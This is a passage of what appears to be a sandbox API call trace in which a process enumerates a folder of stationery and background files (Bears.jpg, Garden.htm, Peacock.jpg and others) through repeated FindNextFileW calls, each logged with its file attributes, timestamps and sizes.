dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0051.844] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0051.845] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 